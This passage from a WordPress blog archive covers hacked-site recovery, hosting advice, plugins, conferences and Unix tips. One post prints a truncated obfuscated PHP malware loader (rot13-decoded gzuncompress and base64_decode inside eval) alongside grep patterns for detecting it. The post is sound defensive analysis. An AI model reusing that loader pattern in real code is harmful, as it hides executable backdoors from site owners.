And that’s really simple. If I use cPanel or WebHost Manager, I connect via HTTPS, which is secure. If I use shell, I’m using SSH (secure!). If I’m FTPing, I’m using SFTP. You see the trend? I’m also only using software I know and trust. My browsers of choice are Chrome, Firefox and Safari. The last time I used IE 8, I got hacked. My SSH terminal is the Mac Terminal or [PuTTY](http://www.chiark.greenend.org.uk/~sgtatham/putty/) for Windows (which I only download from http://www.chiark.greenend.org.uk/~sgtatham/putty/ – there are other, fake, PuTTY sites). My FTP clients are (for Macintosh) Transmit and CyberDuck. For Windows… Well I actually don’t FTP much from Windows. I have been known to use WinSCP, but I’m not comfortable recommending it, as I haven’t had time to really look into it’s security. In addition, I don’t connect to my site’s back end from non-secure WiFi. That means I don’t go in on my laptop in StarBucks. Anyone can jimmy my connection!
Now that you’re being secure, go to talk to your web host. Tell them what happened. Since you have a backup of your files, you can even show them the hack! Any decent web host will sit up and pay attention. Sometimes they’ll be a bit shady, but pay attention. If they say ‘We’re going to look into this, but in the meantime, please upgrade and change passwords.’ then they’re okay. If they just say ‘Yeah, its’ your fault, upgrade.’ then you’re in trouble. When I was hacked, my host helped me sort out what it was, admonished me appropriately where I’d screwed up, and pointed out ‘Here’s when and where it happened.’ To which I said ‘Shoot! That was all on me!’ But they took the time to work with me.
If you’re on GoDaddy, LEAVE. [*GoDaddy Doesn’t Give A Damn*](http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision), or at least they’re acting like they don’t. [A user found the code used to inject malware](http://blog.sucuri.net/2010/05/found-code-used-to-inject-malware-at.html) and it’s not a WordPress specific file. In fact, this annoyance is attacking multiple servers, multiple hosts, and multiple PHP based apps.
Besides, Go Daddy is telling people to upgrade to fix the issue, but they’re running an old version of WordPress on http://community.godaddy.com (which is where they happen to be telling people to upgrade).

It’s 2010, and apps like WordPress are here to stay. [Mark Jaquith wrote a deft admonishment to web hosts, telling them to adapt](http://markjaquith.wordpress.com/2010/05/14/web-hosts-should-adapt-to-wordpress/):
> WordPress is the number one user-installed web app, and its growth is showing no signs of slowing. If you are a web host, and you don’t have a specific strategy for WordPress, you’re likely operating your service inefficiently, and may be opening yourself up to security issues. This is the year to adapt, or be left behind by nimbler upstarts.
As a side note, GoDaddy has contacted Sucuri, saying [they are looking into it](http://blog.sucuri.net/2010/05/reply-from-godaddy-regarding-latest.html), but they’ve taken weeks from when this issue first sprung, Athenaesque, into the spotlight. The full-grown goddess has a spear, guys. Pay attention. If they had said, from the get go, “Gosh, this is weird, we’re looking into it!” or asked for information, or not dismissed willing technical users, they might not be on my shit-list right now. As it stands, I cannot recommend them as a host.
GoDaddy has a special contact form [just for these security issues](https://www.godaddy.com/community/contactus.aspx?ci=15534§ion=support). If you were infected, use it.
Me? I use [LiquidWeb](http://www.liquidweb.com/?RID=JFO123)
[](http://www.liquidweb.com/?RID=JFO123)
**So you still need help?**
Ask your host for help. If they can’t (or won’t), try to get them to do a restore from backup. But some hosts are better than others about this.
Your next step is to open your wallet:
- [Plugged In Consulting](http://www.pluggedinconsulting.com/)
- [Kim Woodbridge](http://www.kimwoodbridge.com/services/)
- [WP TurnKey](http://www.wpturnkey.com/)
Those are three people I ‘know’ (as much as you can know anyone on the net). Plugged In is the only one who, up front, says she’ll remove malware, but the other two are savvy enough that I suspect they may as well. If not, they’ll tell me. Kim Woodbridge assured me that she does indeed remove malware (thanks, Kim!). and I’m fairly sure WP Turnkey might, but if not, based on his services listed, he can get you up on a new server that isn’t GoDaddy. Chip, of WP-Turnkey also said he does this, so there you have it! Ask them, and please feel free to tell them ‘Ipstenu sent me!’
And yes, these are going to cost you money. Well, running a website costs money. Welcome to the costs. I’ve paid out the nose to bail myself out of these situations before, which is why I’ve learned what to do. And even then, I pay a good host a lot of money a month to help when I’m in over my head.
**Categories:** How It Works
**Tags:** hosting, security, website
---
### [Auto Multisite Registration](https://halfelf.org/2012/more-multisite-registration/)
**Published:** October 17, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Join or die! Adding users to multisite, when you want your site-admins not to have to work all the time, just got easier.
**Content:**
There are plugins for this, and I’m rather fond of them. If you just want [all new users to be added to some (or all) sites](http://wordpress.org/extend/plugins/multisite-user-management/), then I suggest you use [Multisite User Management](http://wordpress.org/extend/plugins/multisite-user-management/). It’s a great plugin, and lets you pick and chose. But similar to how sometimes you want users to [register per site](https://halfelf.org/2012/multisite-registration/), you may have a situation where you want users to be added to any and all sites when they visit.
So how do we do this? It’s really not that painful, just make a `add-users.php` file in your mu-plugins folder with this:
```
**Categories:** How To
**Tags:** administration, plugins, wordpress
---
### [Sidebar Login Widget](https://halfelf.org/2012/sidebar-login-widget/)
**Published:** November 8, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A quick bit of code and a question about where you like settings.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/Screen-Shot-2012-11-08-at-2.20.02-PM.png)This comes up a lot.
The basic concept is you want to allow users to log in and out via a sidebar, and never see the admin-end of WP. There’s an awesome plugin called [Sidebar Login](http://wordpress.org/plugins/sidebar-login/) that already does this, but I decided to play around and make a dead simple widget. There’s no ajax going on here, and very little code since it all calls the built in functions and filters.
It lets you make a few choices, as to what verbiage you want to use, and if you want to show login/registration info or not. The registration link won’t work if you have registration turned off, natch.
All the code is here at **[Hack: Sidebar Login Widget](https://halfelf.org/2012/sidebar-login-widget-2/)**
Really those hacks are more ‘mu-plugins’ that I don’t want to support, but still wrote, but you get the idea.
I’ve taken to writing up the code, when I can, for people in the forums a little more, since it helps me as a developer get better with WordPress. I’m still new at wrangling widgets, so this was a new, and interesting, experience for me. That brought up questions for me, as to where people like the plugin ‘settings’ to be.
\[polldaddy poll=6676462\]
**Categories:** How To
**Tags:** mu-plugins, widget, wordpress
---
### [What WordCamp SF Means to Me](https://halfelf.org/2013/what-wordcamp-sf-means-to-me/)
**Published:** July 26, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Serendipity, enough coincidences to make half a season of How I Met Your Mother, and a life I wouldn't trade for anything.
**Content:**
Andrea Middleton asked me to write something about either my upcoming talk today at WCSF or about the camp in general. I thought about it for a minute and sent her this:
> I probably have one of the stranger (but not strangest) associations with WordCamp San Francisco: abject terror and absolute salvation.
>
> In 2012, I went to WCSF for the first time, amidst some of the roughest professional turmoil of my life. At the time, I worked for a bank and was exceptionally unhappy with my work. I really wanted to work doing WordPress, and had spent much of the last 12 months applying to places and just not finding the right fit. Then I decided I should go to WCSF and see if I could make magic happen there, so I bought a ticket and had my car decide that brakes were optional. Short on the money for the trip, I appealed to the community, crowd raised the funds, and the day after I made goal, was asked to speak! I’d never spoken at any WordCamp, but I said yes because I was determined to change my life. Serendipity happened again, and I was contacted by DreamHost about a job. They too were coming to WCSF, so we had an interview and then agreed to meet up after my talk. This meant my talk was also part of my interview, and thus extra terror set in.
>
> Of course, everything worked out perfectly. Now I’m happily employed doing WordPress work, traveling the US talking at WordCamps, and otherwise helping the community at large, being paid to do what I love.
Source: [WordCamp SF 2013](http://2013.sf.wordcamp.org/2013/07/22/what-wcsf-means-to-me/)
Later today I’ll be talking about why you shouldn’t use WordPress Multisite. Spoiler alert: I love WordPress Multisite.
**Categories:** How It Is
**Tags:** essay, wordcamp, wordpress
---
### [When the lights go out on the Matt Report!](https://halfelf.org/2013/lights-out-matt-report/)
**Published:** July 21, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Talking about support and all that sort of stuff with Matt Mederios, back in March.
**Content:**
Matt Mederios interviewed me **ages** ago. And this post I thought I’d pressed publish on and totally didn’t… Uh. Okay, sorry, Matt, consider this a late traffic bump for you.
[When the lights go out with Mika Epstein](http://mattreport.com/when-the-lights-go-out-with-mika-epstein/) back in March literally had a power issue (the office I borrowed has a faulty sensor and timer apparently, I had no idea!) so I was in the dark for a while. Of course. But I was happy to talk about WordPress support and doing our best by you!
I had a great time talking to Matt. I’m always nervous being interviewed, and he made it painless.
**Categories:** How It Is
**Tags:** interview, support, wordpress
---
### [Evaluating Evil](https://halfelf.org/2013/evaluating-evil/)
**Published:** July 4, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Be vewwy vewwy quiet. I'm hunting evals. How I track down some evil via command line.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/good_vs_eval.jpg)Credit: [EvalBlog](http://evalblog.com/2010/11/02/good-versus-eval/)One of the things I do at [DreamHost](http://dreamhost.com) is help with hacked sites. This means when WP is hacked, I look at it, figure out how, and explain to the person how to fix it, or how to tell their tech folks what needs doing. There are occasions where I’ll delete things for them, but usually that happens when there’s a folder or file with weird permissions.
We have a lot of tricks with what we look for, like `base64`, but recently I started to find files that missed my scan, but not my “Hey, wait, wp-mai1.php isn’t a WordPress file…” check. Files like this:
```
$a51a0e6bb0e53a=str_rot13('tmhapbzcerff');$a51a0e6bb0e5e4=str_rot13(strrev('rqbp rq_46rfno'));
eval($a51a0e6bb0e53a($a51a0e6bb0e5e4('eF6dWFtv6kYQ/it9qMQ5UlWBCVGtKg+JWozQaSrcU9+qKvIlBIGh6BBCyK/[...]')));
eval($a51a0e6bb0e53a($a51a0e6bb0e5e4('eF7tW1uvotqW/ivnYSe1d85JignSvcxJPXgDtQCXKNdO50TAJSqop7xw6fR/7zHm1CUqqGW91EMnK1FgzHG/[...]')));
```
Now obviously I can just add `str_rot13` to my checklist (nothing in WordPress core uses it), but .. how do I look for those eval strings?
Eval is a funny thing. In [JavaScript: The Good Parts](http://oreilly.com/catalog/9780596517748), Douglas Crockford states “eval is Evil: The eval function is the most misused feature of JavaScript. Avoid it” but he’s taking JS and I’m looking at php files. So with the (current) assumption that I can ignore js I can try this(I also use [ack](https://halfelf.org/2012/grep-ack/ "grep vs ack") for this half the time, depends on my mood)(You can leave out ‘exclude SVN’ stuff if you want to. Most users don’t have it.):
```
grep -R --exclude-dir="\.svn" --exclude="*.js" "eval" .
```
That gets me a lot of files, though, and I don’t want to parse what I don’t need to. By the way, there’s *one* and only one file in all of WP that uses eval() in a ‘nefarious’ way, and that’s `./wp-admin/js/revisions-js.php`, which is the WordPress easter egg. That’s also the only place you’ll see `p,a,c,k,e,r` code. But clearly I want to look for `eval(` or even `eval($` because that’s more exact, and that should give me a better result.
This is a two edged sword, of course. If I’m *too* precise, I will miss some of their shenanigans. If I’m not close enough to what I’m looking for, I get too much. And worst of all, I don’t always know what I’m looking for. Quite a lot of finding new hacks is a world where “I’ll know it when I see it.” So let’s take it down and say I want to find no JS, nothing in .svn, and anything with eval and a paren:
```
grep -R --exclude-dir="\.svn" --exclude="*.js" -e 'eval(' .
```
That’s a lot better, and in fact, this is a good start! But it’s hard to read because of how long the lines are:
```
./foo.php:eval($a51a0e6bb0e53a($a51a0e6bb0e5e4('eF6dWFtv6kYQ/it9qMQ5UlWBCVGtKg+JWozQaSrcU9
./foo.php:eval($a51a0e6bb0e53a($a51a0e6bb0e5e4('eF7tW1uvotqW/ivnYSe1d85JignSvcxJPXgDtQCXKN
./wp-admin/includes/class-pclzip.php:// eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
./wp-admin/js/revisions-js.php:eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p}('6(4(){2 e=6(\\'#Q\\').v();2 i=\\'\\\\\\',.R/=\\\\\\\\S-;T"U?+|V:W[]X{}\\'.u(\\'\\');2 o=\\'Y[]\\\\\\\\Z;\\\\\\'10,./11{}|12:"13?-=14+\\'.u(\\'\\');2 5=4(s){r=\\'\\';6.15(s.u(\\'\\'),4(){2 t=16.D();2 c=6.17(t,i);r+=\\'\$\\'==t?n:(-1==c?t:o[c])});j r};2 a=[\\'O.E[18 e.y.19.1a\\',\\'1b 1c. 1d .1e.,1f 1g\\',\\'O.E e.1h 1i 8\\',\\'9\\',\\'0\\'];2 b=[\\'= $mag )
```
Part of the reason this works is I know what I’m looking for. WordPress, in general, doesn’t encrypt *content*. Passwords and security stuff, yes, but when it does that, it uses variables so you would get `eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');`, which remains totally human readable. By that I mean I can see clear words that are easy to search for in a doc, or via grep or awk without being forced to copy/paste. I can remember “PCLZIP underscore CB…”
Those random characters are not human readable at all. That’s how I know they’re bad. Of course, if someone got clever-er, they would start naming those variables things that ‘make sense’ in the world of WP, and I have a constant fear that by pointing out how I can tell this is a hack, I give them ideas on how to do evil-er things to us.
It’s for reasons like this that I, when faced with a hack or asked to clean one up, always perform [Scorched Earth Security](https://halfelf.org/2012/scorched-earth-security/ "Scorched Earth Security"). I delete everything and reinstall it. I look for PHP and JS files in wp-content/uploads, or .htaccess files anywhere they shouldn’t be (in clean WP, you have two at most: at the root of your site and in akismet). I make sure I download my themes and plugins from known clean locations. I’m *careful*. And I always change my passwords. Heck, I don’t even know what mine are right now!
But none of this is static enough for me to say “This is the fix forever and ever” or “this is how you will always find the evil…” By the time we’ve codified and discussed best methods, the hackers have moved on. The logic of what to look for *now* may not last long, but the basic concept of looking for wrong and how to search for it should remain a good starting point for a while yet.
Do you have special tricks you use to find the evil? Like what Topher did to [clean up a hack](http://wpgr.org/2013/06/19/cleaning-up-a-hack/)?
**Categories:** How It Is, How It Works
**Tags:** command line, security, support
---
### [Getting Involved - Notes](https://halfelf.org/2012/getting-involved/)
**Published:** August 5, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** My notes for my WCSF talk. There were no slides, or I'd embed them!
**Content:**
In case you missed it, I spoke Saturday, August 4th, at WordCamp San Francisco. I had 15 minutes to talk and was asked to talk about the community, getting involved, and that sort of thing. Knowing there was a short time, I decided not to do slides, and instead wrote ten 3×5 cards with my notes. I’m kind of a badass that way.
The video should be up online in a little while, and I’ll embed it here, but for now, here are my cards.

1. **Getting Involved: Log On, Jump In, Help Out**
2. I volunteer for WP. Forum mod, Ideas org/despamming, plugins, Make support (lead thingy)
3. Instead of talking about me, I want to explain why you, the community, are important. Encourage you to jump in and help out.
4. What is the community? Writers/Bloggers, plugin/theme devs, people who dream in code, all of us.
5. Giving back helps. What’s the point of WP? Part of good software is how it works, and the community is the embodiment there of. Without us, it’s nothing.
6. Why should I help? Becuase you know and they don’t. Because you will learn more. Becuase you will be inspires.
7. How can I help?
1. Write Questions: use WP, come back with questions & suggestions
2. Answer Questions: help out with those Qs! Learn what happened and why
3. Fix things: Educate, code, educate!
8. But … I don’t know the answers. They’re mean. They’re stupid/arrogant/ignorant. They’re impatient.
9. No one is more important. No users == less inovation. No devs == less change.
10. Just do it! You were new (we aren’t born knowing). There are no stupid qustions. Be patient (everyone). Make WP Better.
There you go! When the video’s up, I’ll elaborate more, and comment on what I was thinking (other than ‘don’t rush’ and ‘don’t puke’). I did suggest people answer five questions for every one they ask, since you guys are smart cookies and I know you can bang out five easy questions in 30 minutes. Half an hour. I promise it’ll make you feel better.
Also the video has an extra secret Passover joke.
**Categories:** How It Is
**Tags:** wordcamp, wordpress
---
### [Unix One Liner - Writing to a file](https://halfelf.org/2010/unix-one-liner-writing-to-a-file/)
**Published:** November 16, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes the simple tasks are ones I'll spend a long time on trying to automate rather than do it the long way. This was an effort to shorten 7 commands to 3.
**Content:**
 In 2010, I had to log into 100 odd accounts and edit the .profile file so that the line ‘cd ~’ was included. Sounds time consuming, doesn’t it? I couldn’t use a for-loop to log into the accounts, but since they were named ‘test001’ through ‘test100’ and they all had my sudo password saved, it was pretty easy to sort out what I needed. And by easy I mean I pled to Twitter and got stumped on ‘cat’ for a long time until, finally, I wondered if echo worked the way I thought it did.
It does perplex me that ‘write’ doesn’t. I mean… it should, right? ‘write filename content’ but no. Not so much. And even echo doesn’t format the way I’d expected! It’s
```
echo CONTENT >> FILENAME
```
Oh Unix, I love you so.
```
sudo su - test001
echo "cd ~" >> .profile
exit
```
The trick was remembering that echo … echos. So if I’d use `echo cd ~ >> .profile` I would have ended up with `cd /usr/home/account/` in my .profile, which I didn’t want. The other trick was remembering that the `>>` part means ‘Add to’ so if the file DID exist (it never did) it would add this to the end on a new line.
So it only took me 5 minutes instead of the far longer way!
```
sudo su - test001
vi .profile
a
cd ~
[esc]
ZZ
exit
```
And yes, I did make a for-loop ‘for test001 through test100…’ though this ended up not working as well as I wanted it to, when I found some of the older accounts were named tst099 and test\_100 for some reason. Ahh, scripting. You work so well when everyone else is consistent.
**Categories:** How To
**Tags:** unix
---
### [DreamPress: We Went There](https://halfelf.org/2013/dreampress-we-went-there/)
**Published:** June 4, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You got WordPress in my DreamHost!
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/Screen-Shot-2013-06-04-at-9.51.04-AM.png)Not the most flattering picture of me…One of the projects I’ve been involved with since I started here at [DreamHost](http://dreamhost.com) has been a secret. Actually two of them were, but we released one already. Anyway. The one we pushed today is [DreamPress](http://dreamhost.com/dreampress/)!
What is DreamPress? Here’s marketing:
> What is DreamPress? That’s a good question! Think of WordPress. You got it? Cool. Now, think of that WordPress install, but on steroids! Picture it running on a specialized, optimized, virtual private server. Yeah, this is far from your average WordPress hosting package, isn’t it? DreamPress comes pre-configured by our in-house WordPress experts for maximum security and performance under traffic load. This is our call-out to all entrepreneurs, website designers, developers, and bloggers to give it a test-drive today!
And here’s me:
If you did your job *really* well, one day you woke up to a downed website becuase you swamped it with traffic. I’ve been there, you’ve been there. There’s a point where your host reaches out to you and says “Honey, sweetie pie, you’re too big for shared hosting.” And as horrible as this is, it’s a good thing! You’re popular! Of course you’ll try caching and changing themes and plugins, but there’s just that moment when, damn it, you’ve got to step up and go up to a VPS.
And you know what? A VPS is scary. I started this blog when I got my VPS because I wanted to learn how to manage it. But you see, I’m weird. I know it, you know it, that’s okay. I’m strange and I like me, just the way I are, and this works for me. It doesn’t work for everyone, so when you find yourself faced with something new and different, maybe you don’t want to learn it. Maybe it’s not your thing. So looking at that VPS is a great big bag of nope.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/Screen-Shot-2013-06-04-at-3.37.07-PM.png)This is where *managed* hosting steps in. Hosts take on the job of managing your server. We handle upgrades (which yes, we do anyway), but we also optimize and customize the server. All the times you hear me talk about ‘Edit your httpd.conf’ or ‘installing PageSpeed…’ is something we’ve already done for you. Need more memory? We’ll take care of it without bothering you. It’s a VPS without the responsibility. PHP memory, server power, even *caching* is taken care of. Oh yes, you no longer need any caching plugins, because we’ve got Varnish in front for you.
Of course, this isn’t perfect for everyone. Hard-core code jockeys may want that VPS (or dedicated) to play with the nuts and bolts, install extra add-ones, and just go to town. But if that isn’t for you, come check out DreamPress. I promise we’ll have a magic button to migrate things soon!
**Nifty articles on DreamPress:**
- [Migrating an existing DH site to DreamPress](http://elftest.net/migrating-to-dreampress/)
- [DreamPress announcement](http://dreamhost.com/dreamscape/2013/06/04/dreamhost-announces-dreampress-in-beta-wordpress-on-steriods/)
- [WP Daily review](http://wpdaily.co/dreampress/)
I know there are a lot of hosts out there. I work for one, I use others, and I think the more of us who get into this supporting the app that needs supporting, the better experience for everyone. Bring it on, baby!
**Categories:** How It Is
**Tags:** dreamhost, dreampress
---
### [When Your Code Doesn't Self-Alert...](https://halfelf.org/2013/no-self-alert/)
**Published:** May 28, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Not having a way to let people know that your code needs and update is neglectful. We should be able to easily get alerts when we need to upgrade.
**Content:**
If you don’t want to read this whole post, there’s a big takeaway for anyone who releases code: *Please make sure you have an easy way for people to be notified to a new release.*
## The Story…
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/Alert-me-now.jpg)I use WordPress a lot. It’s made me lazy on a lot of things, like [version control](https://halfelf.org/2013/personal-version-control-git/ "Personal Version Control With Git"). It’s also made me incredibly complacent when it comes to updates. You see, WordPress has a massive API system and servers which allow you to get in-app alerts to any needed updates. Click to upgrade and done. It’s second only to Chrome, which just updates.
Now there are pros and cons about automated updates, and some things, like my server software? Hellz no, son, I don’t auto-upgrade that! Yes, I auto-upgrade cPanel and other server tools that I added on, but PHP and Apache and MySQL? No, those are things I have to stop and make damned sure I know what I’m doing. Why? Because they’re not ‘add on’ software, they’re the core functionality of my entire webserver, and if I mess them up, I am up shit-creek.
If you’d asked me last year ‘Should WordPress auto update itself like Chrome?’ I would have shouted no, very loudly. And now here I am, doing it. Personally I’ve been using [Gary’s Automatic Updater](http://wordpress.org/extend/plugins/automatic-updater/) on all my sites for months now, because I know my WordPress setup is tight. I love the Chrome and Firefox auto updates, because I don’t customize those things ever. While I do customize the hell out of WordPress, I do it smart and I do it right. My code is doing\_it\_right() and the plugins or themes I add on to my sites are all well vetted and Elf Approved. The same can’t be said for everyone, but after a lot of thinking, I think if WordPress auto-updated, people would have an initial clamor of pain with all the shitty code out there that broke, and then the bad code would Darwin itself right on out of use.
But that’s not the point of this. In my head there’s a difference between ‘core software’ like PHP, and ‘app software’ like WordPress. The lines are clear, they should never be crossed. Auto-Updating works for apps, not for core. And what happens when your app *doesn’t* even auto-alert for updates? How do you handle updates?
I’ve already mastered using [git as a ‘deployment’ tool](https://halfelf.org/2013/deploying-with-git/ "Deploying With Git"), and svn has been old hat for me. That means I know how to quickly update my code, but I need to know *when* to do this.
## The Solutions…
There is a light at the end of the tunnel. There are some easy ways you can keep track and, conversely to the devs, make it easy to keep people up to date, and it all starts with the code’s website. You do have a website for your code, right?
**Check the website**
If there’s a blog, there’s probably an RSS feed. This is really easy, since most (if not all) blog and CMS tools use RSS.
No RSS? No blog? Maybe there’s a mailing list. This is actually my favorite option. I hate email, but I love getting emails for software updates like that. If that’s not your thing, see if the mailing list has an RSS feed. I know people use Google Groups for a cheap mailing list, and if you visit the Groups page and click on the about link (see the image, not the dropdown, the link), you get a whole mess of RSS options!
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/rss-options-groups.png)
This only works for public groups, but why would a private group be an announcement list for your app releases anyway? If it’s private, get used to email.
Speaking of mailing lists, MailMan, my list of choice, does *not* have RSS feeds. It’s the old spavined mule of lists, I know, but for people who love it, check out [MailMan-to-RSS](http://taint.org/mmrss/).(The irony I feel in writing that, which is the opposite of how I handle things with my [post2email plugin](https://halfelf.org/plugins/post2email/ "Post2Email"), is deep and unfathomable.)
But what about those other guys? You know who I mean, the guys who use GitHub as not just a version control tool but their code host? After all, [Github Pages](http://pages.github.com/) are pretty cool, and free, so why not? Time for a practical example.
My amazing friend Mel made a site for [Dashicons](http://melchoyce.github.io/dashicons/). They’re like Genericons for your WP Dashboard, and if you’re using MP6, you’re looking at them now. (Mel pointed out to me she did not make all the icons, only some, but the site is hers, so her I pick on.) The site is awesome. It’s fantastic that people can make sites like that, and you can even put a custom domain on it.
But look at it! No feeds!
Thankfully, Github pages are built on [Jekyll](https://github.com/mojombo/jekyll), and you can [set up feeds](https://github.com/coyled/coyled.com). But let’s be frank, if it’s not automatically set up for people, they’re not going to do it. And most people don’t do the ‘blog’ part of their Github page sites either. Now what?
Well thankfully, for anything on GitHub, since *most* people push releases with tags (note to self…), you can use this for rss: `https://github.com/user/project/tags.atom` — Sadly, I couldn’t find one for branches.
## The Real Answer…
Look, at the end of the day, if you’re releasing public code, it’s incumbent upon you to make a way for your users to be able to find out, easily, when you’ve updated. Expecting them to come to your site and check is not going to work. Making an automated way to push your code, your changelog, and your update notices to people, will put it all in one go for you and make it easy. If, like me, you’re afraid people will end up getting too many alerts, make it a blog post and only do it when you know you’re ready.
Making it easier to get alerts for needed upgrades is going to make everything safer, in the long run. Think of all the security patches people are missing, just because we don’t get notified of them!
Now if you’ll excuse me, I need to sort out how to better use branches and tags.
**Categories:** How To
**Tags:** administration, essay, security, support
---
### [Not RSS 2 Email](https://halfelf.org/2013/not-rss-2-email/)
**Published:** May 22, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Spend time upgrading a server and learning Python, or spend time writing a simple plugin that does a simple thing. Simplicity wins.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/37679586.jpg)Back in 2011, I [made an RSS powered email list](https://halfelf.org/2011/make-an-rss-powered-email-list/ "Make An RSS Powered Email List") using [rss2email](http://www.allthingsrss.com/rss2email/). The last new version was released that year, and while the last two years have worked perfectly well, there’s one small problem. The developer appears to be done with it. This happens, and the beauty of open source is that people can pick up the code, fork it, and carry on. The annoyance is that sometimes the new coders do things that break it all for you. In this case, the running fork of rss2email uses Python 3.2 or higher.
If you’re using Python 3.2+, grab [rss2email the new version](https://pypi.python.org/pypi/rss2email/) and off you go! But if, like me, you’re on a server that *doesn’t* come with that version of Python, you can start swearing. This is not something you can just upgrade, either as Daniel Eriksson [explains how to do this on CentOS 6 (my flavor)](http://toomuchdata.com/2012/06/25/how-to-install-python-2-7-3-on-centos-6-2/). Many different flavors of Linux use the old 2.x branch of Python, and there are no plans I’ve seen to upgrade any time soon.
Now I’m faced with a dilema. Do I mess around and upgrade on my own, or do I find another answer. You know I went with option B, right?
I sat and thought really hard about what I, personally, needed this to do. This is a key component to any code you’re going to write. Make sure you know what you need. Let’s break things down:
**Needs**
- Email to be sent to a specific address automatically when there’s a new post.
- No email sent on pages or CPTs
- Post ‘excerpt’ is message content
**Wants**
- Change ‘to’ email on the fly.
- Select full post or post excerpt in email
- Customize ‘from’ email address
**Dream Future**
- Ability to say “no, not this post”
- Customize email message
- Allow options for different post types to get emailed
That’s pretty simple, isn’t it? It’s clear cut what I need, what I want, and what I’d like to have if I have time. Not every project is this simple, but today it is.
I actually knew how to do my ‘needs’ already, but as soon as I tested it I found I had to expand on what I meant by ‘when there’s a new post.’ If I hooked into the `publish_post` action, the email got sent every time a post was updated too. This lead me down to [Notifly](http://wordpress.org/extend/plugins/notifly/), which emails a list of people for every post and comment, but not post updates. That gave me the magic of `transition_post_status`, which solved that first problem.
At this point, the question became “Why not just use Notifly?” The first problem I had was that it sent out emails for comments too, with no easy way to turn that off. I could have forked, and I started looking into that when I ran into problem two, which was I couldn’t change the ‘from’ email. This was something that became a bigger issue later, when I realized I needed to be able to change the from email to work better with restrictions on certain hosts and with certain mailing lists. I could *still* edit the plugin, but I looked at what that plugin did and what I needed and wanted. Editing Notifly to do what I wanted would mean overcomplicating it and adding a lot more options. I could fork it, but I’d be stripping everything out and rewriting if I did that, so I decided to carry forward with my own thing. I would say the plugins are similar, cousins, but approach the goal in different ways. Semantics, I know.
Once I mastered only emailing on post publish, I had to tell it not to email on non-posts. No emails being sent on CPTs and pages was easy and I could have used `is_post_type()` and checked for posts, but I decided to use [`get_page()`](http://codex.wordpress.org/Function_Reference/get_page), because that let me expand on some other features later. This was new to me, but since I wanted to use the post excerpt, this was going to be, bar none, the fastest way to pull that in.
While I love being able to read whole posts in my RSS reader, I lose a lot with it, in regards to formatting. For the site I desired to run this on, the layout is a huge thing. On top of that, thanks to some idiots, I had to turn on hotlink protection, lest they crash my server again. Also I use a lot of embedded media (HTML5 video, twitter, etc). That means the ‘whole’ post generally looks like crap. So for every single post, I custom craft an excerpt. And this is why `get_page()` was awesome, because I could use that to pull the excerpt.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/Emails.jpg)The default WordPress emails are sent from ‘wordpress@yourdomain.com’ with the name ‘WordPress’ and while that’s great, I wanted mine to be sent from ‘Blogname’ (the email address was fine, I’ll just add it to the email list as a moderator). That changed my ‘want’ of being able to customize the from info into a ‘need’ but it was also pretty easy to do.
If I was only going to use this code on one site forever and ever, I’d probably leave it at this. But … I know I’ll want to use this around other places. I started by looking at my ‘wants’ and put those in as well.
So what did I end up with?
**[Post2Email](http://wordpress.org/extend/plugins/post2email/)**
This is a simple WordPress plugin that lets you set a to email, a from email, and a from ‘name’. It uses the RSS settings to determine if your email body is the full text or the excerpt. It only emails on posts, not pages or CPTs, and not for private posts. You can only set one email because of reasons, first being **I** only need to send to one address, but second is that I really hate when people send me emails I don’t want or need. Limiting the number of emails you can send to will help that. It also helps you not piss off your webhost by spamming people. Seriously. You use my plugin to spam people, I will hurt you.
What about my dream features? Handling the different post types means using [get\_post\_types()](http://codex.wordpress.org/Function_Reference/get_post_types), which isn’t horrible. In theory it’s just a check ‘If the option for that post type isn’t checked, fail out.’ It’s not something I need, and I really don’t feel like auto-emails for everything is a good idea (pages and CPTs are not posts!), so I’m going to wait and see if this is a need for people.
Flagging per post I have no idea how to do, since I don’t yet know how to put a custom post option like that per-post and check it on publish. Yet. Since public posts are public, I think that it’s fine having it email on all public posts. Opting out like that is not for me, but if enough folks come up with it, I’ll consider it because it’s a good excuse to learn something new.
Customizing the message is easy and when I went back in to fiddle with internationalization and proper content serialization, I added it in. I also went and used [`wp_parse_args`](http://codex.wordpress.org/Function_Reference/wp_parse_args) to remove setting the defaults in the database, and make it easier for me to add more options in later.
**Categories:** How It Is
**Tags:** coding, open source, plugins, wordpress
---
### [Personal Version Control With Git](https://halfelf.org/2013/personal-version-control-git/)
**Published:** May 13, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's Git-ting better all the time. I set up my own git repo on my server in order to manage my own version control a little privately.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/git-tutorial-remote-repos.png)One thing I am personally bad at is version control. Oh, don’t get me wrong, I’m great decent at it for code at work, but I still have a tendency to cowboy code. Bad me.
